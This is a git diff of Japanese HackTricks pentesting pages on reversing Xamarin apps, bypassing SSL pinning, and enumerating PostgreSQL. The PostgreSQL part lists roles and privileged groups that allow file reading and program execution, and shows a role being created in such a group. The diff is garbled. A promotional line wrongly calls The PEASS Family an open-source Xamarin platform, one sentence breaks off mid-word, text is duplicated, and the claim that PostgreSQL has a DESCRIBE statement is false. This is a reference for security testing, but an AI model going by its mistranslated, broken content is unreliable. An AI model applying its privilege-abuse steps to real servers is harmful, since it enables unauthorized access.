* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,15 +7,25 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンへの開発者のアクセスを提供するオープンソースプラットフォームです。
|
||||
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
Xamarinは、開発者が.NETおよびC#フレームワークを使用してiOS、Android、およびWindows向けのモダンなアプリを作成できるようにするオープンソースプラットフォームです。
|
||||
|
||||
### Xamarin Androidアーキテクチャ 
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Xamarinは、Android.\*およびJava.\*の名前空間に対する.NETバインディングを提供します。Xamarin。
|
||||
|
||||
Androidアプリケーションは、Androidランタイム(ART)仮想マシンをサイドバイサイドで実行するMono実行環境で動作します。
|
||||
|
||||
Mono実行環境は、これらの名前空間に対してManaged Callable Wrappers(MCW)を呼び出し、Android Callable Wrappers(ACW)をARTに提供します。
|
||||
Mono実行環境は、Managed Callable Wrappers(MCW)を介してこれらの名前空間に呼び出しを行い、Android Callable Wrappers(ACW)をARTに提供します。
|
||||
|
||||
これらの環境の両方はLinuxカーネルの上で実行され、ユーザーコードにさまざまなAPIを呼び出します。この仕組みにより、開発者は基礎となるシステムにアクセスできます。
|
||||
|
||||
|
@ -23,11 +33,11 @@ Mono実行環境は、これらの名前空間に対してManaged Callable Wrapp
|
|||
|
||||
Xamarin.iOSアプリケーションは、Monoランタイム環境で実行され、C# .NETコードをARMアセンブリ言語にコンパイルするために完全なAhead of Time(AOT)コンパイルを使用します。
|
||||
|
||||
これはObjective-Cランタイムと共に実行されます。ランタイム環境はUNIXのようなカーネルの上で実行され、ユーザーコードに対していくつかのAPIを呼び出します。これにより、開発者は基礎となる管理またはネイティブシステムにアクセスできます。 
|
||||
これはObjective-Cランタイムと共に実行されます。ランタイム環境はUNIXのようなカーネルの上で実行され、ユーザーコードにさまざまなAPIを呼び出します。これにより、開発者は基礎となる管理またはネイティブシステムにアクセスできます。 
|
||||
|
||||
以下の図は、このアーキテクチャを示しています:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### .NetランタイムとMonoフレームワークとは何ですか?
|
||||
|
||||
|
@ -43,26 +53,25 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
|
|||
|
||||
逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を入手するために、Windowsは非常に便利です。
|
||||
|
||||
モジュールウィンドウを開くには、デバッグ > ウィンドウ > モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれたシンボルファイルが作成され、ソースコードからサードパーティのコードに直接入ることができます。
|
||||
モジュールウィンドウを開くには、デバッグ>ウィンドウ>モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれるシンボルファイルが作成され、それによってソースコードから直接サードパーティのコードに入ることができます。
|
||||
|
||||
**Visual Studio**は、シンボルがなくてもマネージドコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールを右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがさらなる分析のためにMiscellaneous filesフォルダにエクスポートされます。
|
||||
**Visual Studio**は、シンボルがなくてもマネージドコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがさらなる分析のためにMiscellaneous filesフォルダにエクスポートされます。
|
||||
|
||||
### XamarinアプリのJITとAOTコンパイル
|
||||
|
||||
これらは、C#ベースのXamarinコードをアプリケーションにコンパイルするための2つのオプション、つまり**Just in timeコンパイルとahead of timeコンパイル**です。コンパイルの方法によって、アプリケーションコードがapkまたはipaファイル内でどのように出荷されるかが影響を受けます。以下で簡単に見てみましょう:
|
||||
これらは、C#ベースのXamarinコードをアプリケーションにコンパイルするための2つのオプション、つまり**Just in timeコンパイルとahead of timeコンパイル**です。コンパイルの方法によって、アプリケーションコードがapkまたはipaファイル内でどのように出荷されるかが影響を受けます。以下で簡単に説明します:
|
||||
|
||||
\- **Android**:Xamarinでは、**AndroidのJITとAOTフラグの両方を使用してコンパイル**することができます。ハイブリッドAOTモードを使用して最も高速な実行を得る方法もあります。ただし、フルAOTモードはエンタープライズライセンスのみで利用可能です。
|
||||
\- **Android**:Xamarinでは、**AndroidのJITとAOTフラグの両方でコンパイル**することができます。ハイブリッドAOTモードを使用して最も高速な実行を得る方法もあります。ただし、フルAOTモードはエンタープライズライセンスのみで利用可能です。
|
||||
|
||||
\- **iOS**:iOSの場合、**ahead-of-timeコンパイル**のオプションは1つだけです。これは、Appleのポリシーにより、デバイス上で動的に生成されたコードの実行が禁止されているためです。
|
||||
|
||||
{% hint style="info" %}
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、ILファイルがアプリバンドルにまだ保持されている場合、それを使用してアプリケーションを逆向きエンジニアリングすることができます。
|
||||
{% endhint %}
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、ILファイルがアプリバンドルにまだ保持され
|
||||
## APK/IPAからdllファイルを取得する
|
||||
|
||||
単にapk/ipaファイルを解凍し、assembliesディレクトリの下に存在するすべてのファイルをコピーします。
|
||||
単にapk/ipaファイルを解凍し、assembliesディレクトリ内に存在するすべてのファイルをコピーします。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Androidの場合、これらのdllファイルは圧縮されており、直接脱コンパイルに使用することはできません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
|
||||
```
|
||||
|
@ -72,7 +81,7 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
**dllファイルをデコンパイルすると、ほとんどのアプリケーションコードが見つかります。**また、Xamarinフレームワークベースのアプリは、iOSやAndroidなどのすべてのプラットフォームのビルドに共通のコードの90%を含んでいます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
上記のスクリーンショットは、apkに存在するdllファイルのリストですが、これがXamarinアプリであることを確認できます。`Xamarin.Essentails.dll`や`Mono.Security.dll`など、アプリの実行に必要なアプリ固有のdllファイルとライブラリファイルが含まれています。
|
||||
|
||||
|
@ -82,7 +91,7 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
## 動的解析
|
||||
|
||||
アプリケーションにSSLピニングが設定されているかどうかを確認してみてください。設定されていない場合、システムのCAとして動作するBurpを使用してリクエストを傍受することができます。ここでは、JavaまたはObjCランタイムを使用したFridaは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
|
||||
アプリケーションにSSLピニングが設定されているかどうかを確認してください。設定されていない場合、システムのCAとして動作するBurpを使用してリクエストを傍受することができます。ここでは、Frida with JavaまたはObjCランタイムは機能しませんが、幸いなことに、メソッドにフックするために使用できるツールがあります。
|
||||
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)は、Xamarinアプリ内の.NETバイナリをランタイムで簡単に変更することができます。静的解析を使用して、アプリ内に存在するさまざまなメソッドを特定し、Fridaxを使用して後で動的解析のためにフックすることができます。以下は、ルート検出やSSLピニングのバイパスに役立ついくつかのFridaスクリプトです:
|
||||
|
||||
|
@ -98,8 +107,8 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不可能なものをハック**したい場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
**ハッキングのキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -56,9 +56,9 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です**!(流暢なポーランド語の読み書きが必要です)。
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -67,7 +67,7 @@ Content-Length: 267
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,11 +12,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -71,6 +71,22 @@ PostgreSQLサーバーのすべてのデータベースを一覧表示するに
|
|||
|
||||
`\l`
|
||||
|
||||
#### Switch Database
|
||||
|
||||
#### データベースの切り替え
|
||||
|
||||
To switch to a specific database, use the following command:
|
||||
|
||||
`\c <database>`
|
||||
|
||||
Replace `<database>` with the name of the database you want to switch to.
|
||||
|
||||
特定のデータベースに切り替えるには、次のコマンドを使用します。
|
||||
|
||||
`\c <データベース>`
|
||||
|
||||
`<データベース>`を切り替えたいデータベースの名前に置き換えてください。
|
||||
|
||||
#### List Tables
|
||||
|
||||
#### テーブルの一覧表示
|
||||
|
@ -89,27 +105,33 @@ To list all the tables in the current database, use the following command:
|
|||
|
||||
To describe the structure of a specific table, use the following command:
|
||||
|
||||
`\d <table_name>`
|
||||
`\d <table>`
|
||||
|
||||
Replace `<table>` with the name of the table you want to describe.
|
||||
|
||||
特定のテーブルの構造を説明するには、次のコマンドを使用します。
|
||||
|
||||
`\d <テーブル名>`
|
||||
`\d <テーブル>`
|
||||
|
||||
#### Query Data
|
||||
`<テーブル>`を説明したいテーブルの名前に置き換えてください。
|
||||
|
||||
#### データのクエリ
|
||||
#### Execute SQL Queries
|
||||
|
||||
To query data from a table, use the following command:
|
||||
#### SQLクエリの実行
|
||||
|
||||
`SELECT * FROM <table_name>;`
|
||||
You can execute SQL queries directly from the `psql` prompt. Simply type your SQL query and press Enter to execute it.
|
||||
|
||||
テーブルからデータをクエリするには、次のコマンドを使用します。
|
||||
`psql`プロンプトから直接SQLクエリを実行することができます。SQLクエリを入力し、Enterキーを押して実行します。
|
||||
|
||||
`SELECT * FROM <テーブル名>;`
|
||||
For example, to retrieve all records from a table, you can use the following command:
|
||||
|
||||
These basic enumeration techniques will help you gather information about the PostgreSQL database, which can be useful for further penetration testing and exploitation.
|
||||
たとえば、テーブルからすべてのレコードを取得するには、次のコマンドを使用します。
|
||||
|
||||
これらの基本的な列挙技術は、PostgreSQLデータベースに関する情報を収集するのに役立ちます。これは、さらなるペネトレーションテストや攻撃に役立つことがあります。
|
||||
`SELECT * FROM <table>;`
|
||||
|
||||
Replace `<table>` with the name of the table you want to retrieve records from.
|
||||
|
||||
`<table>`をレコードを取得したいテーブルの名前に置き換えてください。
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -213,16 +235,16 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除することができます。 |
|
||||
| rolconnlimit | ログインできるロールの場合、この設定はこのロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 |
|
||||
| rolpassword | パスワードではありません(常に`********`と表示されます) |
|
||||
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます)。有効期限がない場合はnullです。 |
|
||||
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用される)。期限がない場合はnullです。 |
|
||||
| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については、[セクション5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
|
||||
| rolconfig | 実行時設定変数のロール固有のデフォルト |
|
||||
| rolconfig | 実行時設定変数のロール固有のデフォルト |
|
||||
| oid | ロールのID |
|
||||
|
||||
#### 興味深いグループ
|
||||
|
||||
* **`pg_execute_server_program`** のメンバーであれば、**プログラムを実行**できます
|
||||
* **`pg_read_server_files`** のメンバーであれば、**ファイルを読み取る**ことができます
|
||||
* **`pg_write_server_files`** のメンバーであれば、**ファイルを書き込む**ことができます
|
||||
* もし**`pg_execute_server_program`**のメンバーであれば、**プログラムを実行**できます
|
||||
* もし**`pg_read_server_files`**のメンバーであれば、**ファイルを読み取る**ことができます
|
||||
* もし**`pg_write_server_files`**のメンバーであれば、**ファイルを書き込む**ことができます
|
||||
|
||||
{% hint style="info" %}
|
||||
Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じもの**です。それは単に**使用方法**と**ログインを許可するかどうか**に依存します。
|
||||
|
@ -272,9 +294,93 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
|||
```
|
||||
### テーブル
|
||||
|
||||
Tables are the basic building blocks of a PostgreSQL database. They store data in a structured format, with rows and columns. Each table has a name and a set of columns, which define the type of data that can be stored in each column.
|
||||
In PostgreSQL, a table is a collection of related data organized in rows and columns. It is the fundamental structure used to store and manipulate data in a database.
|
||||
|
||||
テーブルは、PostgreSQLデータベースの基本的な構成要素です。テーブルは、行と列で構成された構造化された形式でデータを格納します。各テーブルには名前と列のセットがあり、各列に格納できるデータの型を定義します。
|
||||
PostgreSQLでのテーブルは、行と列で構成される関連データの集合です。データベース内でデータを格納し、操作するための基本的な構造です。
|
||||
|
||||
#### Creating a Table
|
||||
|
||||
To create a table in PostgreSQL, you can use the `CREATE TABLE` statement followed by the table name and a list of column definitions. Each column definition specifies the name, data type, and any constraints for the column.
|
||||
|
||||
テーブルを作成するには、PostgreSQLでは、`CREATE TABLE`ステートメントを使用し、テーブル名と列の定義のリストを指定します。各列の定義では、列の名前、データ型、および制約を指定します。
|
||||
|
||||
Here is an example of creating a table called `users` with three columns: `id`, `name`, and `email`.
|
||||
|
||||
以下は、`id`、`name`、`email`の3つの列を持つ`users`というテーブルを作成する例です。
|
||||
|
||||
```sql
|
||||
CREATE TABLE users (
|
||||
id SERIAL PRIMARY KEY,
|
||||
name VARCHAR(50) NOT NULL,
|
||||
email VARCHAR(100) UNIQUE
|
||||
);
|
||||
```
|
||||
|
||||
#### Modifying a Table
|
||||
|
||||
Once a table is created, you can modify it using the `ALTER TABLE` statement. This allows you to add, modify, or delete columns, as well as add or remove constraints.
|
||||
|
||||
テーブルが作成されたら、`ALTER TABLE`ステートメントを使用して変更することができます。これにより、列の追加、変更、削除、および制約の追加や削除が可能です。
|
||||
|
||||
Here are some examples of modifying a table:
|
||||
|
||||
以下は、テーブルを変更する例です。
|
||||
|
||||
- Adding a new column:
|
||||
|
||||
```sql
|
||||
ALTER TABLE users ADD COLUMN age INTEGER;
|
||||
```
|
||||
|
||||
- Modifying a column's data type:
|
||||
|
||||
```sql
|
||||
ALTER TABLE users ALTER COLUMN email TYPE VARCHAR(150);
|
||||
```
|
||||
|
||||
- Deleting a column:
|
||||
|
||||
```sql
|
||||
ALTER TABLE users DROP COLUMN age;
|
||||
```
|
||||
|
||||
#### Dropping a Table
|
||||
|
||||
To delete a table and all its data, you can use the `DROP TABLE` statement followed by the table name.
|
||||
|
||||
テーブルとそのデータを削除するには、`DROP TABLE`ステートメントを使用し、テーブル名を指定します。
|
||||
|
||||
Here is an example of dropping a table:
|
||||
|
||||
以下は、テーブルを削除する例です。
|
||||
|
||||
```sql
|
||||
DROP TABLE users;
|
||||
```
|
||||
|
||||
#### Viewing Table Structure
|
||||
|
||||
To view the structure of a table, you can use the `\d` command in the PostgreSQL command-line interface (CLI) or the `DESCRIBE` statement in SQL.
|
||||
|
||||
テーブルの構造を表示するには、PostgreSQLのコマンドラインインターフェース(CLI)で`\d`コマンドを使用するか、SQLで`DESCRIBE`ステートメントを使用します。
|
||||
|
||||
Here is an example of viewing the structure of the `users` table:
|
||||
|
||||
以下は、`users`テーブルの構造を表示する例です。
|
||||
|
||||
```sql
|
||||
\d users
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```sql
|
||||
DESCRIBE users;
|
||||
```
|
||||
|
||||
This will display the column names, data types, and any constraints for each column in the table.
|
||||
|
||||
これにより、テーブルの各列の列名、データ型、および制約が表示されます。
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -292,31 +398,19 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
|
|||
|
||||
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.
|
||||
|
||||
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within user-defined functions.
|
||||
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within other functions.
|
||||
|
||||
To create a user-defined function in PostgreSQL, you can use the `CREATE FUNCTION` statement. This statement allows you to define the function name, input parameters, return type, and the code block that will be executed when the function is called.
|
||||
In addition to the built-in functions, PostgreSQL also allows users to create their own custom functions. Custom functions can be written in various programming languages, including SQL, PL/pgSQL, PL/Python, PL/Perl, and more. This flexibility allows developers to extend the functionality of PostgreSQL and create custom solutions tailored to their specific needs.
|
||||
|
||||
Here is an example of creating a simple user-defined function that calculates the square of a number:
|
||||
When performing a penetration test on a PostgreSQL database, it is important to identify and analyze the functions that are exposed by the database. By understanding the functionality and behavior of these functions, a penetration tester can identify potential vulnerabilities and security risks.
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION square(num INTEGER) RETURNS INTEGER AS $$
|
||||
BEGIN
|
||||
RETURN num * num;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
```
|
